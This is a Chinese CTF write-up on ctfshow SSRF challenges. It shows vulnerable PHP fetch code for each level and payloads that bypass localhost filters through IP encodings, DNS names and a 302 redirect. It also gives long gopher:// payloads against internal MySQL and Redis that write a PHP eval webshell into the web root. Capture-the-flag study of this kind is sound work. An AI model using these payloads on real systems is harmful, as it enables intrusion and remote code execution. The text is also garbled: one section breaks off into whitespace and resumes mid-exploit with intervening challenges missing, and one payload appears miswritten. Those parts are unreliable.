ctfshow-ssrf

学习笔记 ssrf

Created At : 2025-03-19 20:05

Count:4.1k Views 👀 :

ctfshow-SSRF
SSRF

ctfshow-SSRF

SSRF

服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描，攻击运行在内网或本地的应用，或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱，甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证，所以存在SSRF时，通常会造成较大的危害。

web-351（无过滤）

首先看题目

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化一个cURL会话
$ch=curl_init($url);
//设定返回信息中包含响应信息头
curl_setopt($ch, CURLOPT_HEADER, 0);
//启用时会将头文件的信息作为数据流输出。 
//参数为1表示输出信息头,为0表示不输出
 
//设定curl_exec()函数将响应结果返回，而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//参数为1表示$result,为0表示echo $result
 
//执行一个cURL会话
$result=curl_exec($ch);
//关闭一个curl会话
curl_close($ch);
//输出返回信息  如果CURLOPT_RETURNTRANSFER参数为fasle可省略
echo ($result);
?>

分析源码发现没有过滤，直接使用file协议读取本地文件。

尝试post传入url，并使用file协议作为参数，file:///etc/passwd 有返回值。然后猜测flag在当前目录，而当前目录一般都是/var/www/html

payload：

post：
url=http://127.0.0.1/flag.php
url=localhost/flag.php
url=file:///var/www/html/flag.php	//需要查看源码

web-352（过滤localhost和127.0.0绕过）

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){			//过滤掉了localhost和127.0.0
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

发现过滤了localhost和127.0.0

可以使用很多方法绕过

url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php    8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php		在Linux中0表示自身的地址
url=http://127.127.127.127/flag.php
url=http://7f000001.c0a80001.rbndr.us/flag.php	DNS重绑定

web-353（过滤127.0.01和localhost绕过）

先看看题目

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

过滤更加严格，但可以使用进制变换，和上一题类似

十六进制
url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

16 进制整数格式，还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

// 缺省零
url=http://127.1/flag.php		
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
//在Linux中0表示自身的地址，所以可以绕过，在windows中解析成 0.0.0.0所以在windows中不行
url=http://0/flag.php			
url=http://0.0.0.0/flag.php

//使用sudo.cc代替127.0.0.1/localhost 
url=http://sudo.cc/flag.php		

// 127.0.0.1 ~ 127.255.255.254 都表示 localhost
url=http://127.255.255.254/flag.php

web-354（过滤了0和1、localhost、DNS重绑定、302跳转）

先看题目

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这一题多过滤了1和0

DNS重绑定绕过

payload

使用解析到127.0.0.1的url绕过
url=http://safe.taobao.com/flag.php

A记录sudo.cc指向IP地址127.0.0.1。
url=http://sudo.cc/flag.php

或者使用302跳转绕过。

我们需要有一台有公网IP的服务器，然后进行域名解析的WEB服务，然后构建302重定向代码，

具体步骤
在有公网的服务器linux系统下
#index.php

<?php
header('Location:http://127.0.0.1/flag.php');

开启web服务
php -S 0.0.0.0:7777


ssrf服务器访问
http://公网ip:7777/index.php

成功执行302重定向

有点无语，我的公网IP刚好带个0，所以不行，除非买个域名

web-355（host限制小于等于5省略绕过）

先看源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){		//限制了host长度必须小于等于5
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

看了一下，发现限制了host小于等于5，使用127.1省略绕过

payload：

1 2	`url=http://127.1/flag.php url=http://0/flag.php`

web-356（host长度限制小于等于3）

源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这题限制了host长度小于等于3

0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0

payload：

1 2	`url=http://0.0/flag.php url=http://0/flag.php`

web-357（DNS重绑定、302跳转绕过）

源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

/ gethostbyname — 返回主机名对应的IPv4地址

// filter_var — 使用特定的过滤器过滤一个变量

// FILTER_VALIDATE_IP - 验证是否为有效的IP地址

// FILTER_FLAG_NO_PRIV_RANGE - 排除私有IP地址

// FILTER_FLAG_NO_RES_RANGE 排除保留IP地址如回环地址127.0.0.1

这题可以使用302跳转绕过。

我们需要有一台有公网IP的服务器，然后进行域名解析的WEB服务，然后构建302重定向代码，

具体步骤
在有公网的服务器linux系统下
#index.php

<?php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ?>' into outfile '/var/www/html/1.php';

生成payload：

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

然后对后面进行URL加密

gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%36%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%37%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%37%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

经过BP抓包确定路径为check.php，参数为returl，POST传参

发送

returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%36%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%37%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%37%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

然后访问1.php确认写入成功，蚁剑连接http://03f79a31-b12e-4aaf-ba66-ec32a9754f49.challenge.ctf.show/1.php

web-360（打redis）

源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

用工具生成payload：

python gopherus.py --exploit redis

php

<?php eval($_POST[1]);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_post%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2424%0D%0A%3C%3Fphp%20eval%28%24_post%5B1%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次编码得到

gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%32%38%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%70%6f%73%74%25%35%42%31%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%32%34%25%30%44%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%70%6f%73%74%25%35%42%31%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41

发包，拿到webshell，直接读flag

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。